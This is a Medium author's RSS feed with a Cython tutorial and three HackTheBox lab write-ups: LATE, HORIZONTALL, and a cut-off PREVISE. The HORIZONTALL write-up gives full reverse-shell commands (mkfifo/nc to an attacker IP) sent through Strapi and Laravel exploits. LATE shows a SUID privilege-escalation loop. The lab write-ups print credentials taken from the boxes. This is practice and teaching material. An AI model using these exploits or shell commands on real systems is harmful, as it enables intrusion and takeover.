<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Himanshu Das on Medium]]></title>
        <description><![CDATA[Stories by Himanshu Das on Medium]]></description>
        <link>https://medium.com/@v1per?source=rss-c4b3fa676069------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*s_JukBFuz5Yc0D56fP4uRQ.jpeg</url>
            <title>Stories by Himanshu Das on Medium</title>
            <link>https://medium.com/@v1per?source=rss-c4b3fa676069------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 23:25:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@v1per/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cython — use C/C++ functions in Python]]></title>
            <link>https://medium.com/@v1per/cython-use-c-c-functions-in-python-fcb91dae8533?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcb91dae8533</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[c-functions-using-python]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[c]]></category>
            <category><![CDATA[cython]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Sun, 17 Sep 2023 09:33:55 GMT</pubDate>
            <atom:updated>2023-09-17T09:33:55.854Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cython — use C/C++ functions in Python</h3><p>I was working on a project where I had a C++ file and I needed to use some functions from that file. Now the main language which I was using for my project was Python, and converting the entire C++ source code to Python was a very tedious job…</p><p>This gave me a thought, what if there was a way to compile the C++ source code and use the functions from it directly into python? This way, I wouldn’t have to translate the entire C++ code into python.</p><p>I googled about this and came across a python module, <strong>Cython</strong>.</p><p><a href="https://github.com/cython/cython">This</a> is Cython’s official github repo. According to the readme:</p><blockquote>Cython is a Python compiler that makes writing C extensions for Python as easy as Python itself. Cython is based on Pyrex, but supports more cutting edge functionality and optimizations.</blockquote><blockquote>Cython translates Python code to C/C++ code, but additionally supports calling C functions and declaring C types on variables and class attributes. This allows the compiler to generate very efficient C code from Cython code.</blockquote><p>Here is a small guide on how to use Cython to call C/C++ functions from python. I have tried to cover as many cases (like C++ structures, array of strings, functions with structure pointers as arguments, etc.) as possible.</p><p>First, install Cython using:</p><pre>pip install cython</pre><p>This is the sample C++ code which I will be using:</p><p><strong>helper.h</strong></p><pre>#ifndef HELPER_H<br>#define HELPER_H<br><br>#include &lt;string&gt;<br>#include &lt;vector&gt;<br>#include &lt;stdint.h&gt;<br>using namespace std;<br><br>#define SIZE 5<br><br>typedef struct {<br>    int length;<br>    uint64_t numbers[SIZE];<br>} nums;<br><br>string concatenate_all(vector&lt;string&gt; &amp;strings, int &amp;ret_code);<br>void square_numbers(nums *obj, int &amp;ret_code);<br><br>#endif</pre><p><strong>helper.cpp</strong></p><pre>#include &quot;helper.h&quot;<br><br>string concatenate_all(vector&lt;string&gt; &amp;strings, int &amp;ret_code){<br>    int len = strings.size();<br>    if(len == 0){<br>        ret_code = -1;<br>        return &quot;&quot;;<br>    }<br>    string temp = &quot;&quot;;<br>    for(int i=0; i&lt;len; i++){<br>        temp += strings[i];<br>    }<br>    ret_code = 1;<br>    return temp;<br>}<br><br>void square_numbers(nums *obj, int &amp;ret_code){<br>    int len = obj-&gt;length;<br>    for(int i=0; i&lt;len; i++){<br>        if(obj-&gt;numbers[i] &gt; 100){<br>            ret_code = -1;<br>            return;<br>        }<br>    }<br>    for(int i=0; i&lt;len; i++){<br>        obj-&gt;numbers[i] = (obj-&gt;numbers[i])*(obj-&gt;numbers[i]);<br>    }<br>    ret_code = 1;<br>}</pre><p>The code basically consists of two functions:</p><ul><li><strong>concatenate_all()</strong> — Takes in a vector of strings, and concatenates them. There is another parameter called <em>ret_code</em> which stores -1 if the vector of strings is empty else 1.</li><li><strong>square_numbers()</strong> — Takes in a structure <em>nums</em> (which basically consists of a <em>length</em> variable and an array of numbers) and squares each number. There is another parameter called <em>ret_code</em> which stores -1 if any of the number is greater than 100, else 1.</li></ul><p>Now, our objective is to call these functions using Python. For this, we will create 3 files:</p><ul><li><strong>wrapper.pyx </strong>— This will contain the Python wrappers for the C++ functions (i.e., the functions which will be called by our Python file).</li><li><strong>setup.py</strong> — This file contains the build instructions for our wrapper and the C++ file.</li><li><strong>caller.py </strong>— This is the Python script in which we need to call the C++ functions.</li></ul><p>Let’s start with <strong>wrapper.pyx</strong></p><pre># cython: c_string_type=unicode, c_string_encoding=utf8<br><br>from libc.stdint cimport uint64_t<br>from libcpp.string cimport string<br>from libcpp.vector cimport vector<br><br>cdef extern from &quot;helper.h&quot;:<br>    ctypedef struct nums:<br>        int length<br>        uint64_t numbers[5]<br><br>    string concatenate_all(vector[string] &amp;strings, int &amp;ret_code)<br>    void square_numbers(nums *obj, int &amp;ret_code)<br><br>def w_concatenate_all(vector[string] &amp;strings, int &amp;ret_code):<br>    return concatenate_all(strings, ret_code), ret_code<br><br>def w_square_numbers(nums obj, int &amp;ret_code):<br>    cdef nums *nums_ptr = &amp;obj<br>    square_numbers(nums_ptr, ret_code)<br>    return obj, ret_code</pre><ul><li>The first line tells Cython how to encode C-type strings (if not mentioned we will have to encode the strings to bytes in Python before calling the function).</li><li>In the <em>cdef extern from “helper.h” </em>section, we declare our structure which should have the same parameters as the one defined in our <em>helper.h</em> file, and we also write the declarations of the C++ functions we want to use.</li></ul><blockquote><strong>NOTE: </strong>The <strong>cdef</strong> statements are used to declare C variables, functions, etc.</blockquote><ul><li>Then we define the Python analogous of the C++ functions. Note that we cannot directly pass <em>nums *obj </em>in our Python function because <em>nums</em> is now a Python variable and Python does not support pointers. Instead, we used a little workaround by this line:</li></ul><pre>cdef nums *nums_ptr = &amp;obj</pre><ul><li>Also note that the changes made in <em>obj</em> and <em>ret_code</em> in the C++ function will be reflected here in the wrapper, but these changes do not carry forward to our caller python file, which is why I had the function return the values of those variables (If someone knows or figures out if there is a way to modify the variables passed as reference in the Python file itself directly, do share).</li></ul><p>Let’s move on to <strong>setup.py</strong></p><pre>from distutils.core import setup<br>from distutils.extension import Extension<br>from Cython.Build import cythonize<br><br>extensions = [Extension(&#39;wrapper&#39;,<br>                        [&#39;wrapper.pyx&#39;, &#39;helper.cpp&#39;],<br>                        language=&quot;c++&quot;,<br>                        extra_link_args=[&quot;-lz&quot;]<br>                    )]<br>setup(<br>    name=&#39;wrapper&#39;, <br>    ext_modules=cythonize(extensions)<br>)</pre><p>This is the standard syntax for building the wrapper with our C++ file.</p><p>Now, on to <strong>caller.py</strong></p><pre>from wrapper import *<br><br>print(&quot;------------------------- FOR NUMBERS -------------------------\n\n&quot;)<br><br>print(&quot;CASE 1: A NUMBER GREATER THAN 100&quot;)<br>list_of_numbers = {<br>    &quot;length&quot;: 5,<br>    &quot;numbers&quot;: [1, 20, 104, 3, 22]<br>}<br>ret_code = 0<br>print(&quot;* Initial List:&quot;, list_of_numbers)<br>list_of_numbers, ret_code = w_square_numbers(list_of_numbers, ret_code)<br>print(&quot;* Square:&quot;, list_of_numbers)<br>print(&quot;* Return Code:&quot;, ret_code)<br><br>print(&quot;\nCASE 2: ALL NUMBERS LESS THAN OR EQUAL TO 100&quot;)<br>list_of_numbers = {<br>    &quot;length&quot;: 5,<br>    &quot;numbers&quot;: [1, 2, 3, 4, 100]<br>}<br>ret_code = 0<br>print(&quot;* Initial List:&quot;, list_of_numbers)<br>list_of_numbers, ret_code = w_square_numbers(list_of_numbers, ret_code)<br>print(&quot;* Square:&quot;, list_of_numbers)<br>print(&quot;* Return Code:&quot;, ret_code)<br><br>print(&quot;\n\n------------------------- FOR STRINGS -------------------------\n\n&quot;)<br><br>print(&quot;CASE 1: ARRAY LENGTH 0&quot;)<br>list_of_strings = []<br>ret_code = 0<br>print(&quot;* Initial List:&quot;, list_of_strings)<br>concatenated_string, ret_code = w_concatenate_all(list_of_strings, ret_code)<br>print(&quot;* Concatenated:&quot;, concatenated_string)<br>print(&quot;* Return Code:&quot;, ret_code)<br><br>print(&quot;\nCASE 2: ARRAY LENGTH 5&quot;)<br>list_of_strings = [&quot;I &quot;, &quot;am &quot;, &quot;a &quot;, &quot;human &quot;, &quot;being&quot;]<br>ret_code = 0<br>print(&quot;* Initial List:&quot;, list_of_strings)<br>concatenated_string, ret_code = w_concatenate_all(list_of_strings, ret_code)<br>print(&quot;* Concatenated:&quot;, concatenated_string)<br>print(&quot;* Return Code:&quot;, ret_code)</pre><p>I wrote almost all the possible cases for our functions here.</p><ul><li>We first import our wrapper.</li><li>For the square function, we have our first case in we have one number greater than 100 in our array. This should have a return code of -1.</li><li>In the second case of our square function, we should get the squares of all the numbers with a return code of 1.</li><li>For the concatenate function, we have our first case in which we have a 0 length array. This should give a return code of -1.</li><li>In the second case of our concatenate function, we should get the concatenated string with a return code of 1.</li></ul><p>This finishes the code. Now, we need the compile our Cython script and then execute it using our <em>caller.py</em>.</p><p>This is the command used for compiling:</p><pre>python setup.py build_ext --inplace</pre><p>And to execute our script we can simply run it, i.e.:</p><pre>python caller.py</pre><p>I wrote a small Bash script for this purpose:</p><pre>#!/bin/bash<br><br>function clean(){<br>    rm -rf build *.so wrapper.cpp<br>}<br><br>function compile(){<br>    python setup.py build_ext --inplace<br>}<br><br>function run(){<br>    python caller.py<br>}<br><br>if [ &quot;$1&quot; == &quot;clean&quot; ]; then<br>    clean<br>elif [ &quot;$1&quot; == &quot;compile&quot; ]; then<br>    clean<br>    compile<br>elif [ &quot;$1&quot; == &quot;crun&quot; ]; then<br>    clean<br>    compile<br>    run<br>elif [ &quot;$1&quot; == &quot;run&quot; ]; then<br>    run<br>else<br>    echo &quot;Invalid argument(s)&quot;<br>fi</pre><p>We can simply compile + run our code using:</p><pre>./util.sh crun</pre><p>This is the output of the script:</p><pre>------------------------- FOR NUMBERS -------------------------<br><br><br>CASE 1: A NUMBER GREATER THAN 100<br>* Initial List: {&#39;length&#39;: 5, &#39;numbers&#39;: [1, 20, 104, 3, 22]}<br>* Square: {&#39;length&#39;: 5, &#39;numbers&#39;: [1, 20, 104, 3, 22]}<br>* Return Code: -1<br><br>CASE 2: ALL NUMBERS LESS THAN OR EQUAL TO 100<br>* Initial List: {&#39;length&#39;: 5, &#39;numbers&#39;: [1, 2, 3, 4, 100]}<br>* Square: {&#39;length&#39;: 5, &#39;numbers&#39;: [1, 4, 9, 16, 10000]}<br>* Return Code: 1<br><br><br>------------------------- FOR STRINGS -------------------------<br><br><br>CASE 1: ARRAY LENGTH 0<br>* Initial List: []<br>* Concatenated: <br>* Return Code: -1<br><br>CASE 2: ARRAY LENGTH 5<br>* Initial List: [&#39;I &#39;, &#39;am &#39;, &#39;a &#39;, &#39;human &#39;, &#39;being&#39;]<br>* Concatenated: I am a human being<br>* Return Code: 1</pre><p>We can see that this indeed worked as expected.</p><p>This was how we can use Python to call C++ functions using Cython.</p><p><strong>Thanks for reading!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcb91dae8533" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LATE — HackTheBox WriteUp]]></title>
            <link>https://medium.com/@v1per/late-hackthebox-writeup-710adb3c6718?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/710adb3c6718</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Wed, 03 May 2023 19:17:17 GMT</pubDate>
            <atom:updated>2023-05-03T19:17:17.707Z</atom:updated>
            <content:encoded><![CDATA[<h3>LATE — HackTheBox WriteUp</h3><p><strong>LATE</strong> is a <strong>LINUX </strong>machine of <strong>EASY</strong> difficulty.</p><p>Do a <strong>rustscan</strong> to check for open ports:</p><pre>rustscan -a 10.10.11.156 --ulimit 5000 -- -A -Pn -T4 -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*ah0ug-EnrLyEbdXKjWe_SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9FfeeWs3M9By6MQpjlcARw.png" /></figure><p>Add <strong>late.htb</strong> to your /etc/hosts. Let’s run ffuf for directory busting:</p><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="http://late.htb/FUZZ&#39;">http://late.htb/FUZZ&#39;</a> -t 64 -e &#39;.html,.php,.txt&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05sG_mjMquI-4979JuaVOw.png" /></figure><p>Let’s visit the website now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE_d0KyYA3lV7OfUg1Mm8Q.png" /></figure><p>Browsing the site, I found a link to <strong>images.late.htb</strong>. Adding that to /etc/hosts, and visiting it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_4U2AECM62bRj9-G6orJBg.png" /></figure><p>I uploaded an image, and it extracted the text from it (an OCR, basically). Now, the first thing I’ll try is to try and upload a PHP reverse shell (this probably won’t cuz it says <strong>Flask</strong>, but I’ll try anyway).</p><p>I used the <a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell">Pentestmonkey PHP reverse shell</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*4FeMJ_pPFYDGbhX7X5Qvqw.png" /></figure><p>It showed invalid extension. I just changed the filename to have an extension ‘.jpg’ and uploaded, to get this error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*JoEs-TRsopNn9QiJXIu6Ug.png" /></figure><p>Well, we now know the directory from where this webapp is running, along with the name of the user, <strong>svc_acc</strong>.</p><p>Now, I’ll check for SSTI. I uploaded this image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*aKK68qAtntS5egkRUNcGWA.png" /></figure><p>And got the result as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*vfboyyDH3zkgV_DW3apt1w.png" /></figure><p>Well, we have SSTI!</p><p>I went over to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md">PayloadAllTheThings</a>, and uploaded this image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWSCdSgj86KlvE5wvhy4fw.png" /></figure><p>To get the result as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*BUgU4DG3J5wSQogGvtksgQ.png" /></figure><p>Well, we have RCE! Let’s try to get a reverse shell from here. I uploaded this image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XMhPfdFGA1pCJ0pk17G5g.png" /></figure><p>And,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*Pu0XYgmdGjgDUlX2TIQ7TA.png" /></figure><p>I got a shell! Take the <strong>id_rsa</strong> in svc_acc’s home folder’s .ssh directory, and use it to get an SSH shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*w4IDdaIWnx52A-lR92LXhQ.png" /></figure><p>Get <strong>user.txt</strong> from <strong>/home/svc_acc/user.txt</strong>.</p><p>Next, I ran <strong>linpeas.sh</strong>. Couldn’t find anything interesting.<br>Next, I ran <strong>pspy</strong>, and found that there’s a file: <strong>/usr/local/sbin/ssh-alert.sh</strong> owned by me and is being executed by root every time someone logs in through ssh.</p><p>But when I tried writing to it, I saw that sometimes it allowed me to, and sometimes not, and it also reverted back to normal quickly. So, I thought there must be some script running by root to do this.</p><p>To tackle this, I wrote a script:</p><pre>#!/bin/bash<br>while true<br>do<br> echo &quot;chmod +s /bin/bash&quot; &gt;&gt; /usr/local/sbin/ssh-alert.sh 2&gt;/dev/null<br>done</pre><p>Then, I waited for a few seconds, and tried to ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*AnHE6KaZShIBJPAnHKGO-g.png" /></figure><p>The command got stuck, probably because my script had written so much lines of commands in the ssh-alert.sh script, but when I ran <strong>ls -la /bin/bash</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*_jih9KCilSxThWNGTZtU2Q.png" /></figure><p>It had the SUID bit set on it!<br>I ran <strong>bash -p</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*go_b7OgtQF6KSjyu8b3GJg.png" /></figure><p>And I’m root!<br>Get <strong>root.txt</strong> from <strong>/root/root.txt</strong></p><p>Also in the scripts folder in root’s directory, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*tLhR6l_5KFD9T0mVyGwZMQ.png" /></figure><p>which explains pretty much what was going on.</p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=710adb3c6718" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HORIZONTALL — HackTheBox WriteUp]]></title>
            <link>https://medium.com/@v1per/horizontall-hackthebox-writeup-b710f2f8bb31?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/b710f2f8bb31</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Wed, 03 May 2023 19:14:14 GMT</pubDate>
            <atom:updated>2023-05-03T19:14:14.924Z</atom:updated>
            <content:encoded><![CDATA[<h3>HORIZONTALL — HackTheBox WriteUp</h3><p><strong>HORIZONTALL</strong> is <strong>LINUX</strong> machine of <strong>EASY</strong> difficulty.</p><p>Do a <strong>rustscan</strong> to check for open ports.</p><pre>rustscan -a 10.129.166.114 --ulimit 5000 -- -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*-S2PxUvs2EFF9TvHUMQDmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcSlB7WHTaz4xCU--k_NFA.png" /></figure><p>Add horizontall.htb to your /etc/hosts. Run ffuf for directory busting:</p><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="http://horizontall.htb/FUZZ&#39;">http://horizontall.htb/FUZZ&#39;</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SuxnLWKtYVvY3RXfKv1yrA.png" /></figure><p>Let’s enumerate subdomains:</p><pre>gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u horizontall.htb -t 64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptc2nSrwdUZbKMz_hBEj4w.png" /></figure><p>Add api-prod.horizontall.htb to your /etc/hosts. Let’s run ffuf on this:</p><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="http://api-prod.horizontall.htb/FUZZ&#39;">http://api-prod.horizontall.htb/FUZZ&#39;</a> -t 64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*w43NZlGT6t1K2N8NvO2GDg.png" /></figure><p>Let’s visit the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oiy7TRWvFRXyyQhK38BiWQ.png" /></figure><p>Now, the subdomain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*-gR30fMggo-AGXZixauItA.png" /></figure><p>Hmm… there was a robots.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*aRF40E2nWg8Hs7dwiwldEA.png" /></figure><p>Nothing much. Let’s visit the /admin directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*3RZU-GhqX8-doUmIKHRFRg.png" /></figure><p>A login page! Nice<br>Now, in the Forgot your password page, I tried a couple of emails but it showed that this email doesn’t exist for all. But it didn’t give any error message for the email: <strong>admin@horizontall.htb</strong>. So, I believe we have found an email, and a username: <strong>admin</strong></p><p>I found this blog while searching for exploits of Strapi:</p><p><a href="https://thatsn0tmysite.wordpress.com/2019/11/15/x05/">Exploiting friends with CVE-2019-18818</a></p><p>Running this command:</p><pre>curl <a href="http://api-prod.horizontall.htb/admin/strapiVersion">http://api-prod.horizontall.htb/admin/strapiVersion</a></pre><p>Gave us the version: <strong>3.0.0-beta.17.4</strong></p><p>I ran the exploit found on the page:</p><pre>python3 exploit.py admin@horizontall.htb <a href="http://api-prod.horizontall.htb/">http://api-prod.horizontall.htb</a> abcdefghij</pre><p>Then tried to login with these creds:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lO6Bl7SgmdoRPPWmRS9iXw.png" /></figure><p>And I’m logged in!<br>Now, I searched for some more CVEs, and found this:</p><p><a href="https://snyk.io/vuln/SNYK-JS-STRAPI-536641">Snyk - Arbitrary Code Injection in strapi</a></p><p>which led me to this:</p><p><a href="https://bittherapy.net/post/strapi-framework-remote-code-execution/">Strapi Framework Vulnerable to Remote Code Execution (CVE-2019-19609)</a></p><p>I ran this command:</p><pre>curl -i -s -k -X $&#39;POST&#39; -H $&#39;Host: api-prod.horizontall.htb&#39; -H $&#39;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjYwOTM1LCJleHAiOjE2MzI4NTI5MzV9.vkMaUmTfqj3D4UWjFNVXhlK3DxoFfTzdneWH1HgK6S4&#39; -H $&#39;Content-Type: application/json&#39; -H $&#39;Origin: <a href="http://localhost:1337&#39;-H">http://localhost:1337&#39;-H</a> $&#39;Connection: close&#39; --data $&#39;{\&quot;plugin\&quot;:\&quot;documentation &amp;&amp; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.15.119 1234 &gt;/tmp/f)\&quot;,\&quot;port\&quot;:\&quot;80\&quot;}&#39; $&#39;<a href="http://api-prod.horizontall.htb/admin/plugins/install&#39;">http://api-prod.horizontall.htb/admin/plugins/install&#39;</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*JMq7V7suiqYaURqkvWs1mA.png" /></figure><p>And I got the shell! Let’s stabilise it using <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">socat</a>.<br>Get <strong>user.txt</strong> from <strong>/home/developer/user.txt</strong></p><p>Now, time for privilege escalation!<br>In the /opt/strapi/myapi/config/environments/development/database.json file, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*rNGznQCW4yiql8V95Rrr_g.png" /></figure><p>username: <strong>developer<br></strong>password: <strong>#J!:F9Zt2u</strong></p><p>I ran <strong>ss -tulwn</strong> to check for open ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*BhcuSBApRQsziDhmEnTP6w.png" /></figure><p>Let’s forward port 1337 and port 8000. For that, I created an id_rsa pair in my PC. Then forwared the ports, and visited port 8000 (1337 has strapi running)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjNy8CZY-bZXNXoVf47S7A.png" /></figure><p>Now, I searched for some exploits of Laravel and found a page on HackTricks:</p><p><a href="https://book.hacktricks.xyz/pentesting/pentesting-web/laravel">Laravel</a></p><p>Visiting /profiles:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6BmIpjQ5W3je4s5J6A_FA.png" /></figure><p>In the context page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*ewFGUk2FK9gHn31hle3YVg.png" /></figure><p>We find a version: <strong>8.43.0</strong></p><p>Searched for exploits of Laravel using:</p><pre>searchsploit laravel</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33fZHj1G71HA1ki4VnyVoA.png" /></figure><p>I used the debug mode exploit:</p><pre>python3 49424.py <a href="http://localhost:8000/">http://localhost:8000</a> /home/developer/myproject/storage/logs/laravel.log &#39;id&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*5BqiQbCRLcDuf8UyFbke2A.png" /></figure><p>And it is working! Let’s try to get a reverse shell now. I’ll use a one liner from the pentestmonkey reverse shell cheatsheet:</p><pre>python3 49424.py <a href="http://localhost:8000/">http://localhost:8000</a> /home/developer/myproject/storage/logs/laravel.log &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.15.119 1234 &gt;/tmp/f&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*_xcaRuGomlF07bbcE4w7rA.png" /></figure><p>And we are root!<br>Get <strong>root.txt</strong> from <strong>/root/root.txt</strong></p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b710f2f8bb31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PREVISE — HackTheBox WriteUp]]></title>
            <link>https://medium.com/@v1per/previse-hackthebox-writeup-e34ef407fc05?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/e34ef407fc05</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Wed, 03 May 2023 19:11:20 GMT</pubDate>
            <atom:updated>2023-05-03T19:11:20.457Z</atom:updated>
            <content:encoded><![CDATA[<h3>PREVISE — HackTheBox WriteUp</h3><p>This is an easy box from HackTheBox</p><p>Do a <strong>rustscan</strong> to check for open ports:</p><pre>rustscan -a 10.129.156.225 --ulimit 5000 -- -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*VMCWBJXwBQMjY2g8MQb2iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w4Hb-oo7MtQldW7bnMGzPw.png" /></figure><p>Add previse.htb to your /etc/hosts. Let’s do some directory busting:</p><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="http://previse.htb/FUZZ&#39;">http://previse.htb/FUZZ&#39;</a> -e &#39;.php,.txt&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XG3Ey0mQz6r3VOK0ZlmAPw.png" /></figure><p>Let’s visit the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVsiohHbrtHQnPHhhFEr5Q.png" /></figure><p>Going to /files.php and intercepting in burp. I sent to the repeater and sent the request. I got this in the response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*chzJjbqYv0C-9MUfqgas9A.png" /></figure><p>/<strong>download.php?file=32</strong></p><p>In /status.php, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*bHk5u_IWWwGq2XjCAwES7g.png" /></figure><p>I intercepted /accounts.php using Burp, right clicked on the request -&gt; Do intercept -&gt; Response to this request, then forwarded it. Now, I deleted the <strong>Location: login.php</strong> and <strong>Pragma: no-cache</strong> headers and forwared and I was able to open the page in my browser. I created an account here and then logged in. Now, I downloaded <strong>siteBackup.zip</strong> from the Files page.</p><p>Extracting it, I found this in <strong>config.php</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*6GgHIuLpmgjleKE-4yTvrw.png" /></figure><p>Hostname: <strong>localhost</strong><br>User: <strong>root</strong><br>Password: <strong>mySQL_p@ssw0rd!:)</strong></p><p>But we don’t have mySQL running here so not of use to us (I checked these creds in SSH, but they didn’t match).<br>Now, in the logs.php file, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*yVQkVf4Z5gahNQ_LU_j2ig.png" /></figure><p>So, now I went to the page /file_logs.php, clicked on SUBMIT to download the log file, intercepted the request. Added the reverse shell from the <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Pentestmonkey Reverse Shell Cheat Sheet</a>, URL encoded it and ran while setting up a nc listener. This was my request:</p><pre>POST /logs.php HTTP/1.1</pre><pre>Host: previse.htb</pre><pre>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0</pre><pre>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</pre><pre>Accept-Language: en-US,en;q=0.5</pre><pre>Accept-Encoding: gzip, deflate</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: 94</pre><pre>Origin: <a href="http://previse.htb/">http://previse.htb</a></pre><pre>Connection: close</pre><pre>Referer: <a href="http://previse.htb/file_logs.php">http://previse.htb/file_logs.php</a></pre><pre>Cookie: PHPSESSID=8s6hpo2h5cskfm15r5f69msqre</pre><pre>Upgrade-Insecure-Requests: 